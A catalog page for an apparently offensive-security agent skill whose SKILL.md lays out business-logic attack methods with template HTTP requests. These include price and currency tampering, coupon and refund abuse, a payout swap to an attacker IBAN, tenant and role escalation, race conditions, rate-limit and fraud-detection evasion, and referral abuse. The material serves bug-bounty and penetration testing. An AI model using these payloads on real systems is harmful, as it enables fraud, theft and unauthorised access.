Source profileQuality 88/100

SnailSploit/Claude-Red/Skills/web/offensive-business-logic/SKILL.md

offensive-business-logic

Business logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-

Source repository stars
2,808
Declared platforms
0
Static risk flags
1
Last source update
2026-05-08
Source checked
2026-08-04

Decision brief

What it does—and where it fits

Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.

Best for

  • Use when scoping an application after surface-

Not for

  • Tasks that require unconfirmed production actions or broad system permissions.
  • Environments where the pinned source and install steps cannot be inspected.

Compatibility matrix

Platform support, with evidence labels

PlatformStatusEvidenceWhat to check
CodexNot declaredNo explicit evidencePortability before use
Claude CodeNot declaredNo explicit evidencePortability before use
CursorNot declaredNo explicit evidencePortability before use
Gemini CLINot declaredNo explicit evidencePortability before use
Open the compatibility checker

Installation

Inspect first. Install second.

The source command is displayed only when detected. A safe inspection prompt is always available so your agent can explain every action before execution.

Source-detected install commandSource
npx skills add https://github.com/SnailSploit/Claude-Red --skill "Skills/web/offensive-business-logic"
Safe inspection promptEditorial

Inspect the Agent Skill "offensive-business-logic" from https://github.com/SnailSploit/Claude-Red/blob/aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e/Skills/web/offensive-business-logic/SKILL.md at commit aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e. List every install step, command, network request, credential, file read/write, external action, and rollback step. Explain whether it fits my task. Do not install or execute anything until I approve.

Workflow

What the source asks the agent to do

  1. 01

    Quick Workflow

    1. Map every multi-step flow as a state machine (states + allowed transitions + side effects) 2. For each transition, ask: who can call it, in what state, with what inputs, how many times 3. Probe each axis (state, identity, input, frequency) for assumptions 4. Combine flaws — s…

    Map every multi-step flow as a state machine (states + allowed transitions + side effects)For each transition, ask: who can call it, in what state, with what inputs, how many timesProbe each axis (state, identity, input, frequency) for assumptions
  2. 02

    Workflow / State-Machine Bypass

    Review the “Workflow / State-Machine Bypass” section in the pinned source before continuing.

    Review and apply the “Workflow / State-Machine Bypass” source section.
  3. 03

    Skip a Required Step

    Review the “Skip a Required Step” section in the pinned source before continuing.

    Review and apply the “Skip a Required Step” source section.
  4. 04

    Reconnaissance — Mapping the Logic

    For each user flow, draw: - States: cart, pending payment, paid, shipped, refunded, cancelled - Transitions: which API/UI action, which role, which preconditions - Side effects: balance change, inventory change, email, webhook

    States: cart, pending payment, paid, shipped, refunded, cancelledTransitions: which API/UI action, which role, which preconditionsSide effects: balance change, inventory change, email, webhook
  5. 05

    Build the State Machine

    For each user flow, draw: - States: cart, pending payment, paid, shipped, refunded, cancelled - Transitions: which API/UI action, which role, which preconditions - Side effects: balance change, inventory change, email, webhook

    States: cart, pending payment, paid, shipped, refunded, cancelledTransitions: which API/UI action, which role, which preconditionsSide effects: balance change, inventory change, email, webhook

Permission review

Static risk signals and limitations

Network access

medium · line 35

The documentation includes network, browsing, or remote request actions.

diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

Network access

medium · line 41

The documentation includes network, browsing, or remote request actions.

curl https://app/api/openapi.json | jq '.paths | keys'

Evidence record

Why each signal appears

EvidenceSourceComputedTestedEditorial
SignalValueEvidence typeMeaning
Quality score88/100ComputedDocumentation, specificity, maintenance, and trust rules
Repository stars2,808SourceRepository attention, not individual Skill quality
Compatibility0 platformsSourceDeclared in the catalog source record
Usage guideautomated source guideEditorialGenerated or reviewed according to the visible evidence level

Pinned source

Provenance and original SKILL.md

Repository
SnailSploit/Claude-Red
Skill path
Skills/web/offensive-business-logic/SKILL.md
Commit
aeb41eca7088a703c3a35fbcba3086d4a6c1aa4e
License
MIT
Collected
2026-08-04
Default branch
main
View the original SKILL.md

Business Logic — Offensive Testing Methodology

Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.

Quick Workflow

  1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)
  2. For each transition, ask: who can call it, in what state, with what inputs, how many times
  3. Probe each axis (state, identity, input, frequency) for assumptions
  4. Combine flaws — single-axis flaws are usually low severity; chains are critical
  5. Quantify financial impact per finding (loss-per-attack × scale)

Reconnaissance — Mapping the Logic

Build the State Machine

For each user flow, draw:

  • States: cart, pending payment, paid, shipped, refunded, cancelled
  • Transitions: which API/UI action, which role, which preconditions
  • Side effects: balance change, inventory change, email, webhook

Look for transitions that:

  • Skip intermediate states (cartshipped without paid)
  • Are reversible when they shouldn't be (shippedcart)
  • Trigger side effects more than once
  • Allow cross-role invocation

Hidden / Internal Endpoints

# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js

# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'

Workflow / State-Machine Bypass

Skip a Required Step

# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }

Replay a One-Time Action

# Refund endpoint without idempotency
POST /api/orders/123/refund   # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund   # Second call: server checks "is order refunded?" — race the check (see TOCTOU)

State Downgrade

Move a finalized object back to an editable state where mutations have effect:

PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }

Direct Endpoint Invocation

Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.

# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
  for v in GET POST PUT PATCH DELETE OPTIONS; do
    code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
    echo "$v $path $code"
  done
done | grep -v -E ' (401|403|404) '

Price / Quantity / Currency Manipulation

Negative / Zero / Float Quantities

POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?

Hidden Price Fields

POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }

If the server trusts client-supplied price, you set the price. Test every numeric field — price, total, discount, tax, shipping, subtotal, currency.

Currency Confusion

POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?

Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.

Coupon / Discount Logic

# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" }   # Stacks?
POST /api/cart/coupon { "code": "save50" }   # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " }  # Whitespace ditto?

# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }

# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 }   # If admin endpoint reachable

# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }

Cart Tampering

# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT  /api/cart/items/abc { "sku": "macbook" }      # SKU swap with pen's price retained?

Refund / Chargeback / Payout Abuse

Refund More Than You Paid

POST /api/orders/123/refund { "amount": 99999 }

Refund After Returning Less

Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.

Convert Refund to Different Method

POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold

Payout Account Race

PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

Identity / Tenant / Role Boundary

Role Confusion via Multipart / Parameter Pollution

POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins

Tenant ID Substitution in Hidden Field

POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order

Mass Assignment / Field Whitelist

PUT /api/users/me
{ "email": "[email protected]", "isAdmin": true, "credits": 10000, "tenantId": "victim" }

Test every field that exists on the model, not just those the form exposes.

Indirect Privilege via Object Linking

POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API

Race Conditions on Logic Boundaries

Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see: offensive-toctou, offensive-race-condition.)

Single-Packet Multi-Request

# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.

Common Logic Races

FlowRace
Coupon redemptionN parallel apply-coupon calls each see "unused"
2FA verificationSubmit code N times in parallel before lockout counter increments
WithdrawalParallel withdraws each see full balance
Vote / Like / Reaction"One per user" check raced
Invitation acceptanceMultiple accepts → multiple seats granted
Free-trial signupParallel signups → multiple trials per email
Gift-card redeemParallel redeems → multi-spend a single card
Inventory reservationParallel buys of last item → oversell, supplier covers difference

Amplification

# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card

Anti-Automation / Fraud Defeat

Captcha / Rate Limit Bypass

BypassMechanic
Token reuseOne captcha solve, replay token across many requests
Endpoint mirror/api/v1/login rate-limited, /api/v2/login not
Header rotationX-Forwarded-For: <random> resets per-IP counter
HTTP/2 stream multiplexingEach stream counted as same conn → window only
Method/case variationPOST /Login vs POST /login keyed differently in cache

Device Fingerprint / Velocity

  • New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
  • Velocity counters (5 logins/hour) often per (userid, ip) not per userid.
  • Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).

Free Trial / Sign-Up Abuse

# Email aliasing
[email protected], [email protected]         # Plus-aliasing
[email protected], [email protected]         # Dots ignored on Gmail
[email protected]                            # gmail/googlemail equivalence

# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install

Referral / Reward Loops

POST /api/refer { "email": "[email protected]" }   # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "[email protected]" }  # Repeat — many sign-ups, all same person

Subscription / Quota / Tier Abuse

Tier Downgrade Retains Premium Features

PUT /api/subscription { "tier": "free" }   # Cancel paid
GET /api/feature/premium-export             # Still works because feature flag cached?

Mid-Cycle Quota Reset

PUT /api/subscription { "tier": "pro" }   # +1000 quota
PUT /api/subscription { "tier": "free" }  # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" }   # +1000 again — net 2000 in one cycle

Add-On Stacking

POST /api/addons { "id": "extra-storage" }   # +10GB
POST /api/addons { "id": "extra-storage" }   # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" }   # Or charges once, stacks N times?

Time-Based Logic

Time Travel via Headers

POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT      # Server-trusted time?
X-Request-Time: 1577836800

Promotion Window

Set client-side date to inside the window, server validates X-Promo-Time parameter. Stale promo cache means yesterday's prices apply today.

Token / Session Expiry

Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.


Combining Flaws — Where the Crits Live

Single-axis findings are interesting; chains are payouts.

Example chain (real, paid bounty):

  1. Coupon stacking allows 100% off × 2 → negative total
  2. Negative total → store credit issued (refund of "overpayment")
  3. Store credit transferable to gift card
  4. Gift card race condition → multiplied
  5. Gift card redeemable on partner site for cash equivalents

Chain template:

  • Find a thing the system gives you (credit, points, slot, seat)
  • Find a way to multiply it (race, replay, stacking)
  • Find a way to convert it to value (transfer, refund, payout)

Engagement Approach

Day 1:  Map state machines for top 3 money flows.
Day 2:  Per state, list what the UI does. Check what the API allows.
Day 3:  Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4:  Race conditions on every "one-shot" action.
Day 5:  Chain the findings. Quantify financial impact per chain.

Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.


Reporting Hooks

Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:

  • A diagram of the intended flow vs. the achieved flow
  • A scripted PoC that runs end-to-end (no manual steps)
  • A dollar value per execution and a feasibility statement for repeating it
  • The fix at the right layer (state machine validator, not just input validation)

Key References

Alternatives

Compare before choosing

Computed 97106

AI-Unified-Process/marketplace

browserless-test

Creates Vaadin Browserless server-side unit tests for Vaadin views covering navigation, component interactions, form validation, grid operations, and notifications. Use when the user asks to "write Browserless tests", "write Vaadin UI unit tests", "unit test a Vaadin view without a browser", "create view tests with the official Vaadin testing framework", or mentions Browserless testing, SpringBrowserlessTest, browserless-test-junit6, UI Unit Testing, or server-side Vaadin testing.

Computed 976

mgiovani/cc-arsenal

team-review

Multi-agent review team: architecture, security, performance, testing, style, docs/UX, plus an adversary that cross-examines the other 6, for security-sensitive, architectural, or large PRs (15+ files) where a single-agent pass risks missing cross-cutting issues. Use for auth/payments/PII changes, schema/pattern changes, compliance sign-off, or when asked to 'get the review team on this' / 'multi-agent review' / 'thorough review before merge'. For a standard PR or a quick pre-merge check, use /r

Computed 957

event4u-app/agent-config

playwright-testing

Use when writing Playwright E2E tests — browser automation, visual regression testing, Page Objects, fixtures, and reliable test patterns.

Computed 94165

JasonColapietro/suede-creator-skills

suede-ai-eval

Design AI evals that catch regressions before users do: rubrics, test cases, failure modes, acceptance gates, and AI-SPEC artifacts.